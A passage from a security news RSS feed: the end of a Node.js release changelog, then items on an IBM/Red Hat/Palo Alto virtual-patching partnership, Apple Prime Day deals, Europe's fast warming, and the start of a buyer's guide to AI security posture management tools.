<li>[<a href="https://github.com/nodejs/node/commit/ece4477872"><code>ece4477872</code></a>] - <strong>stream</strong>: optimize pipeTo promise handling (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63572" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63572/hovercard">#63572</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cb84c2daf"><code>2cb84c2daf</code></a>] - <strong>stream</strong>: handle sync writev completion in pipeTo (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63561" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63561/hovercard">#63561</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d9fdda5fa"><code>7d9fdda5fa</code></a>] - <strong>stream</strong>: settle pending broadcast reads on return (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63603" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63603/hovercard">#63603</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e2aea3aac7"><code>e2aea3aac7</code></a>] - <strong>test</strong>: tolerate duplicate watch change events (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63937" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63937/hovercard">#63937</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea6300593a"><code>ea6300593a</code></a>] - <strong>test</strong>: mark test-debugger-run-after-quit-restart as flaky on macOS (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64006" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64006/hovercard">#64006</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/be1b204fa4"><code>be1b204fa4</code></a>] - <strong>test</strong>: update WPT for url to d4598eba09 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63899/hovercard">#63899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b3d0d05b05"><code>b3d0d05b05</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 03a1476844 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63900" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63900/hovercard">#63900</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/046af2609f"><code>046af2609f</code></a>] - <strong>test</strong>: update WPT for urlpattern to 23aac92784 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63898/hovercard">#63898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/562b831a98"><code>562b831a98</code></a>] - <strong>test</strong>: add tests for 3 methods in utils (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63765" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63765/hovercard">#63765</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28e3629dd3"><code>28e3629dd3</code></a>] - <strong>test</strong>: mark SEA tests flaky on linux arm debug (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63743" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63743/hovercard">#63743</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/243aa846de"><code>243aa846de</code></a>] - <strong>test</strong>: validate ERR_INVALID_THIS for scheduler methods (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63764" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63764/hovercard">#63764</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6bd07df2bc"><code>6bd07df2bc</code></a>] - <strong>test</strong>: add coverage outside SEA (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63744" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63744/hovercard">#63744</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bd67c9d11b"><code>bd67c9d11b</code></a>] - <strong>test</strong>: update WPT for urlpattern to 2f28df545c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63771" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63771/hovercard">#63771</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e40bfe7081"><code>e40bfe7081</code></a>] - <strong>test</strong>: make Brotli 16GB test wait for backpressure (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63389/hovercard">#63389</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/444c03fd3b"><code>444c03fd3b</code></a>] - <strong>test</strong>: add regression test for using <code>ObjectWrap</code> in worker (Mohamed Akram) <a href="https://github.com/nodejs/node/pull/63642" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63642/hovercard">#63642</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/771230df78"><code>771230df78</code></a>] - <strong>test</strong>: accept SIGILL aborts in async-hooks tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63687" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63687/hovercard">#63687</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b3cd8e5e6"><code>0b3cd8e5e6</code></a>] - <strong>test</strong>: add more test cases for pathToFileURL (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63293" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63293/hovercard">#63293</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cbc77c60e"><code>0cbc77c60e</code></a>] - <strong>test</strong>: update test426-fixtures to 2965987bf4c96afa400c9356c8e620cb340aaee (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63668" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63668/hovercard">#63668</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f53dee5fe4"><code>f53dee5fe4</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 0c413fb56b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63647" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63647/hovercard">#63647</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3048f8dc1a"><code>3048f8dc1a</code></a>] - <strong>test,debugger</strong>: add test for type stripping in debugger probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63748" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63748/hovercard">#63748</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9485caa97e"><code>9485caa97e</code></a>] - <strong>test_runner</strong>: remove unused shuffleArrayWithSeed (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63847" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63847/hovercard">#63847</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34433a4a87"><code>34433a4a87</code></a>] - <strong>test_runner</strong>: fix watch cwd with isolation none (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63690" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63690/hovercard">#63690</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e7da29b7c"><code>2e7da29b7c</code></a>] - <strong>test_runner</strong>: avoid recompiling coverage globs for every file (sangwook) <a href="https://github.com/nodejs/node/pull/63675" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63675/hovercard">#63675</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/205295a31e"><code>205295a31e</code></a>] - <strong>test_runner</strong>: cache <code>shouldSkipFileCoverage</code> result per URL (sangwook) <a href="https://github.com/nodejs/node/pull/63675" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63675/hovercard">#63675</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee29465e77"><code>ee29465e77</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: add certificateCompression option (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57d060ed2b"><code>57d060ed2b</code></a>] - <strong>tls</strong>: route event listener exceptions through error handlers (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63822" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63822/hovercard">#63822</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d2dc6f8506"><code>d2dc6f8506</code></a>] - <strong>tools</strong>: bump piscina from 5.1.4 to 5.2.0 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64002" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64002/hovercard">#64002</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0c418f605"><code>b0c418f605</code></a>] - <strong>tools</strong>: update sccache to v0.16.0 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/63078" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63078/hovercard">#63078</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2af8433bef"><code>2af8433bef</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.1 to 4.2.0 in /tools/lint-md (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63948" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63948/hovercard">#63948</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8ba5b8574b"><code>8ba5b8574b</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.1 to 4.2.0 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63947" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63947/hovercard">#63947</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/325087be5b"><code>325087be5b</code></a>] - <strong>tools</strong>: enforce iterator result property order (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63526" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63526/hovercard">#63526</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/314f417db7"><code>314f417db7</code></a>] - <strong>tools</strong>: update the llhttp updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63819" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63819/hovercard">#63819</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c6e4f5a4fe"><code>c6e4f5a4fe</code></a>] - <strong>tools</strong>: avoid test/fixtures/wpt/README.md conflicts (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63938" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63938/hovercard">#63938</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/363912acc3"><code>363912acc3</code></a>] - <strong>tools</strong>: align Bash snippets in GHA with <code>lint-sh</code> conventions (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63829/hovercard">#63829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cfd16e973c"><code>cfd16e973c</code></a>] - <strong>tools</strong>: bump @node-core/doc-kit in /tools/doc in the doc group (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63760" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63760/hovercard">#63760</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1566872706"><code>1566872706</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 7 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63730" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63730/hovercard">#63730</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08437a3a5b"><code>08437a3a5b</code></a>] - <strong>tools</strong>: fix zlib updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63707" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63707/hovercard">#63707</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e883366172"><code>e883366172</code></a>] - <strong>url</strong>: fix URLSearchParams(null) to prudce null= per spec (Marco) <a href="https://github.com/nodejs/node/pull/63782" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63782/hovercard">#63782</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60e83d9bfd"><code>60e83d9bfd</code></a>] - <strong>util</strong>: fix scientific notation formatting (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63823" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63823/hovercard">#63823</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5f7f60ac36"><code>5f7f60ac36</code></a>] - <strong>util</strong>: fix -0 formatting when numericSeparator is enabled (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63815" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63815/hovercard">#63815</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af1a11e0dd"><code>af1a11e0dd</code></a>] - <strong>util</strong>: remove style caches from styleText slow path (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/63706" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63706/hovercard">#63706</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b17817eb2b"><code>b17817eb2b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: dispatch fs/promises to mounted VFS instances (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63537" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63537/hovercard">#63537</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bc93a6ac5"><code>7bc93a6ac5</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: add minimal node:vfs subsystem (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63115/hovercard">#63115</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/584e7527c4"><code>584e7527c4</code></a>] - <strong>vm</strong>: fix property queries for proxy sandboxes (Brian Meek) <a href="https://github.com/nodejs/node/pull/63742" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63742/hovercard">#63742</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a926e72eaf"><code>a926e72eaf</code></a>] - <strong>watch</strong>: print name of changed file that triggers restart (Marco) <a href="https://github.com/nodejs/node/pull/63781" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63781/hovercard">#63781</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32a2621ca4"><code>32a2621ca4</code></a>] - <strong>watch</strong>: cancel pending restart on shutdown (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63383" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63383/hovercard">#63383</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/692215d1b1"><code>692215d1b1</code></a>] - <strong>zlib</strong>: coerce -0 to +0 for crc32 seeds (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[IBM, Red Hat, Palo Alto team to secure open-source software]]></title>
<description><![CDATA[IBM, its RedHat subsidiary, and Palo Alto Networks are teaming up to help enterprises identify vulnerabilities in open-source software and deploy safeguards against threats, particularly those generated by AI.



The joint effort will rely on Palo Alto’s network-based virtual patching technology,...]]></description>
<link>https://tsecurity.de/de/3622647/it-security-nachrichten/ibm-red-hat-palo-alto-team-to-secure-open-source-software/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622647/it-security-nachrichten/ibm-red-hat-palo-alto-team-to-secure-open-source-software/</guid>
<pubDate>Wed, 24 Jun 2026 21:38:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>IBM, its RedHat subsidiary, and <a href="https://www.networkworld.com/article/4089591/arista-palo-alto-bolster-ai-data-center-security.html">Palo Alto Networks</a> are teaming up to help enterprises identify vulnerabilities in open-source software and deploy safeguards against threats, particularly those generated by <a href="https://www.networkworld.com/article/4089591/arista-palo-alto-bolster-ai-data-center-security.html">AI</a>.</p>



<p>The joint effort will rely on Palo Alto’s network-based virtual patching technology, which is found in its <a href="https://www.networkworld.com/article/4084195/palo-alto-networks-readies-security-for-ai-first-world.html">Prisma security software</a>, and IBM/Red Hat’s Project Lightwell, a software remediation initiative designed to help enterprises secure open-source software. Vulnerability intelligence from both vendors will also contribute to threat detection and remediation, the companies stated.  </p>



<p>Announced in May, <a href="https://newsroom.ibm.com/2026-05-28-ibm-and-red-hat-commit-5-billion-to-redefine-the-future-of-open-source-in-the-ai-era">Project Lighthouse</a> is IBM and Red Hat’s $5 billion project to develop what IBM calls a “trusted enterprise clearinghouse combined with a global force of engineers to identify and fix vulnerabilities at scale.”</p>



<p>“The clearinghouse will serve as a security coordination layer, using advanced AI capabilities to validate and test fixes across an unprecedented volume of open source code,” IBM stated in May. “These capabilities will be offered through commercial subscriptions, allowing enterprises to integrate secure patches directly into their existing software supply chains with enterprise-grade validation and lifecycle management.”</p>



<p>Open-source software (OSS) underpins modern enterprise infrastructure, with more than 90% of Fortune 500 companies relying on OSS, IBM stated, citing a <a href="https://worldmetrics.org/opensource-statistics/">Worldmetric</a> study.</p>



<p>IBM and Red Hat said they are working with a variety of early adopters on Project Lightwell, including Bank of America, BNY, Citi, Goldman Sachs, JPMorgan Chase, Mastercard, Morgan Stanley, RBC, State Street, Visa and Wells Fargo.</p>



<p>Key elements of the Palo Alto/IBM/Red Hat initiative include:</p>



<ul class="wp-block-list">
<li><strong>Vulnerability coverage: </strong>Protection across open-source software, commercial applications, operational technology environments, and connected devices.</li>



<li><strong>Preemptive coverage: </strong>Organizations can receive virtual patch protections before official software patches become available, helping reduce exposure while remediation is underway.</li>



<li><strong>Rapid protection</strong>: When a new vulnerability is discovered, network-level protections can be deployed the same day, with a long-term goal of reducing the time from validated discovery to protection.   </li>
</ul>



<p>The companies said they also plan to establish secure processes for sharing vulnerability information across participating software vendors, technology providers, and security teams. The idea is to accelerate protection development and provide anonymized telemetry on real-world exploitation attempts, the companies stated.</p>



<p>“AI has compressed the window between vulnerability discovery and exploit from weeks to minutes. Traditional patching cannot keep pace,” said Nikesh Arora, CEO and chairman of Palo Alto Networks, in a statement. “By collaborating with IBM and Red Hat, we are shifting the advantage back to defenders. This powerful combination allows us to neutralize threats in the network while providing uninterrupted business continuity for our global clients.”</p>



<p>IBM and Palo Alto have a long-running relationship of integrating security and enterprise-class networks. Recently, IBM and Palo Alto said they would combine to offer a service, <a href="https://www.paloaltonetworks.com/company/press/2025/palo-alto-networks-and-ibm-plan-to-launch-joint-solution-to-accelerate-enterprise-wide-quantum-safe-readiness">Quantum-Safe Readiness</a>, that would let enterprise customers identify cryptographic exposure, understand <a href="https://www.networkworld.com/article/4131660/ibm-research-when-ai-and-quantum-merge.html">quantum-computing</a> related risks, and accelerate their use of quantum-safe security technology.</p>



<p>In addition, the companies <a href="https://www.ibm.com/new/announcements/introducing-the-rapid-ai-security-assessment-secure-your-ai-innovation-with-ibm-and-palo-alto-networks">earlier this year</a> said they would combine to offer a service designed to help enterprises discover, assess, and prioritize security and compliance risks for their artificial intelligence implementations in the cloud.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Best Apple Prime Day 2 deals slash prices to as low as $11]]></title>
<description><![CDATA[Day 2 of Prime Day 2026 deepens Apple discounts, led by a new $100 markdown on every iPad mini 7 configuration, alongside record-low prices on AirPods Max 2 and the Apple Watch Series 11. Here are the deals worth buying.Day 2 of Prime Day delivers up to 71% off Apple gear - Image credit: Apple, A...]]></description>
<link>https://tsecurity.de/de/3621267/ios-mac-os/best-apple-prime-day-2-deals-slash-prices-to-as-low-as-11/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3621267/ios-mac-os/best-apple-prime-day-2-deals-slash-prices-to-as-low-as-11/</guid>
<pubDate>Wed, 24 Jun 2026 14:09:43 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Day 2 of <a href="https://appleinsider.com/deals/amazon-prime-day">Prime Day 2026</a> deepens Apple discounts, led by a new $100 markdown on every iPad mini 7 configuration, alongside record-low prices on AirPods Max 2 and the Apple Watch Series 11. Here are the deals worth buying.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68050-143450-prime-day-2-apple-deals-xl.jpg" alt="Colorful AppleInsider Prime Day Day 2 Apple Deals banner featuring text live coverage and pictures of Apple devices, headphones, chargers, Amazon boxes, and bright gradient background graphics" height="720"><br><span>Day 2 of Prime Day delivers up to 71% off Apple gear - Image credit: Apple, Amazon</span></div><br>The <a href="https://www.amazon.com/primeday?discounts-widget=%22%7B%5C%22state%5C%22%3A%7B%5C%22refinementFilters%5C%22%3A%7B%5C%22brands%5C%22%3A%5B%5C%22110955%7CApple%5C%22%5D%7D%7D%2C%5C%22version%5C%22%3A1%7D%22&amp;tag=apinsiderdeals-20" rel="nofollow" target="_blank">second day of Prime Day</a> is well underway, with Apple's iPad mini getting a steeper markdown <a href="https://www.amazon.com/dp/B0DK3YF38G/?tag=apinsiderdeals-20" target="_blank" rel="nofollow">at $100 off</a>. Plus, grab some of the year's lowest prices on dozens of products before Amazon's shopping event ends.<br><br><a href="https://www.amazon.com/primeday?discounts-widget=%22%7B%5C%22state%5C%22%3A%7B%5C%22refinementFilters%5C%22%3A%7B%5C%22brands%5C%22%3A%5B%5C%22110955%7CApple%5C%22%5D%7D%7D%2C%5C%22version%5C%22%3A1%7D%22&amp;tag=apinsiderdeals-20" rel="nofollow" class="deal-highlight">Get Prime Day deals</a><br><br><br> <a href="https://appleinsider.com/articles/26/06/24/best-apple-prime-day-2-deals-slash-prices-to-as-low-as-11?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244758?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Europe: The World's Fastest-Warming Continent]]></title>
<description><![CDATA[fjo3 shares a report from the AFP: The latest heatwave sweeping across Europe is a stark reminder that it is the world's fastest-warming continent, stretching into an Arctic that is heating at an even greater pace. Britain, France, Italy and Spain have issued red alerts and health warnings for mu...]]></description>
<link>https://tsecurity.de/de/3620737/it-security-nachrichten/europe-the-worlds-fastest-warming-continent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620737/it-security-nachrichten/europe-the-worlds-fastest-warming-continent/</guid>
<pubDate>Wed, 24 Jun 2026 11:08:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[fjo3 shares a report from the AFP: The latest heatwave sweeping across Europe is a stark reminder that it is the world's fastest-warming continent, stretching into an Arctic that is heating at an even greater pace. Britain, France, Italy and Spain have issued red alerts and health warnings for much of their territory this week as the region endures its second heat episode since May.
 
Here is a look at why Europe is warming faster than elsewhere: The planet as a whole is around 1.4C warmer than in preindustrial times, defined as 1850-1900. By comparison, Europe is around 2.4C hotter than the preindustrial era, according to the EU's Copernicus Climate Change Service. The long-term rise in global average temperatures is mainly due to greenhouse gas emissions from burning oil, gas and coal, but it varies by regions due to a combination of factors. Land warms faster than the ocean as water can absorb more heat and cool through evaporation.
 
Shifts in atmospheric circulation have driven more frequent and more intense heatwaves in the European summer, according to Copernicus. High-pressure systems, which bring settled weather and higher temperatures, have become more common in Europe, Copernicus director Carlo Buontempo said. [...] Another major reason is geography as Europe is connected to the Arctic, which is 3.2C warmer than in preindustrial times. The region's rising temperatures are partly due to a process known as the albedo feedback. Bright snow and ice reflect much of the sun's heat back into space, but as they melt they reveal darker, heat-absorbing surfaces such as land and the ocean.
 
In other parts of Europe, areas where snow was very frequent in winter have seen this coverage shrink, exposing dark land. Stricter air quality regulations have reduced aerosol emissions since the 1980s. But tackling the pollutant had the side effect of contributing to global warming, as these tiny airborne particles have a cooling effect by reflecting sunlight and making clouds more reflective.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Europe%3A+The+World's+Fastest-Warming+Continent%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F24%2F066249%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F24%2F066249%2Feurope-the-worlds-fastest-warming-continent%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/06/24/066249/europe-the-worlds-fastest-warming-continent?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI-SPM buyer’s guide: 14 tools to secure your AI infrastructure]]></title>
<description><![CDATA[Widespread enterprise adoption of AI has created a pressing need for security solutions — a tall order given that AI’s reach into organizational infrastructure and data is enormous and continues to grow.



Moreover, where an organization sits on the AI maturity curve impacts its security needs. ...]]></description>
<link>https://tsecurity.de/de/3620469/it-security-nachrichten/ai-spm-buyers-guide-14-tools-to-secure-your-ai-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620469/it-security-nachrichten/ai-spm-buyers-guide-14-tools-to-secure-your-ai-infrastructure/</guid>
<pubDate>Wed, 24 Jun 2026 09:09:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Widespread enterprise adoption of AI has created a pressing need for security solutions — a tall order given that AI’s reach into organizational infrastructure and data is enormous and continues to grow.</p>



<p>Moreover, where an organization sits on the AI maturity curve impacts its security needs. Trail of Bits CEO Dan Guide <a href="https://www.youtube.com/watch?v=kgwvAyF7qsA">describes the AI journey as a migration</a> from AI-assisted, where AI tools are used on existing workflows; through AI-augmented, which uses new workflows based on AI; to the AI-native organization, where AI “becomes a core participant in the delivery and operations of a business.”</p>



<p>Those three stages require very different approaches to securing AI. They also present challenges for AI security vendors, whose platforms must fit in multiple places in a corporate network and interact with a broad spectrum of applications — especially as agentic AI expands. As analyst <a href="https://www.linkedin.com/pulse/guide-ai-agent-governance-enterprise-david-linthicum-tkcve/">David Linthicum recently posted</a>, “the conversation now has to shift from model fascination to operational discipline. The question is how those agents should be governed once they begin touching workflows that affect customers, employees, suppliers, compliance, and revenue.” </p>



<p>Making matters worse is that the average enterprise manages 37 agents, with more than half running without security oversight or logging, according to <a href="https://www.microsoft.com/en-us/security/security-insider/emerging-trends/cyber-pulse-ai-security-report#Introduction">Microsoft’s 2026 Cyber Pulse report</a>, which also found that, while 80% of Fortune 500 companies use active AI agents, only 10% have a clear strategy for managing them.</p>



<p>That lack of strategy also opens the door for attackers to abuse corporate AI systems for malicious purposes, as the recent <a href="https://krebsonsecurity.com/2026/06/hackers-used-metas-ai-support-bot-to-seize-instagram-accounts/">exploit of Meta’s account recovery using chatbots</a> demonstrated.</p>



<p>The trick to securing AI systems is in understanding how much protection is needed and where it should be applied in the expanding AI universe. While one could rent a well-meaning AI agent called <a href="https://agentalent.ai/agents/fa682e11-52a6-4dc9-9ae8-63816d876cc9">Sentry for $7,400 per month</a> to automate the daily work of a SOC analyst, many organizations rolling out AI across their business would be best served by considering AI security posture management (AI-SPM) tools.</p>



<p>Over the past two years, this emerging field has matured, with many security vendors incorporating or acquiring SPM features as part of their general security product portfolio.</p>



<p>Some vendors, such as SentinelOne and Concentric, don’t specifically sell AI-SPM per se, but offer an SPM tool that is part of a larger package of AI security services. Others offer AI-SPM in conjunction with their other SPM tools or <a href="https://www.csoonline.com/article/573629/cnapp-buyers-guide-top-tools-compared.html">CNAPP security offerings</a>. Some vendors, such as Cyera and Palo Alto, offer multiple AI-SPM packaging alternatives with differing feature sets.</p>



<p>Choosing the right product requires careful examination of the roster of features and integrations each product offers to ensure that it doesn’t duplicate existing security tooling or worse, leave important coverage gaps.</p>



<p>Here we take a deeper look at the AI-SPM product category, with a breakdown of offerings from 14 of the leading vendors in this increasingly important security ecosystem.</p>



<h2 class="wp-block-heading">AI security posture management explained</h2>



<p><a href="https://www.cio.com/article/2503234/how-guardrails-allow-enterprises-to-deploy-safe-effective-ai.html">AI security posture management</a> is an evolving cybersecurity discipline focused on ensuring the integrity and security of AI and machine learning systems. AI-SPM encompasses strategies, tools, and techniques for monitoring, assessing, and enhancing the security of AI models, data, pipelines, applications, and services, even as threats to those entities continually evolve.</p>



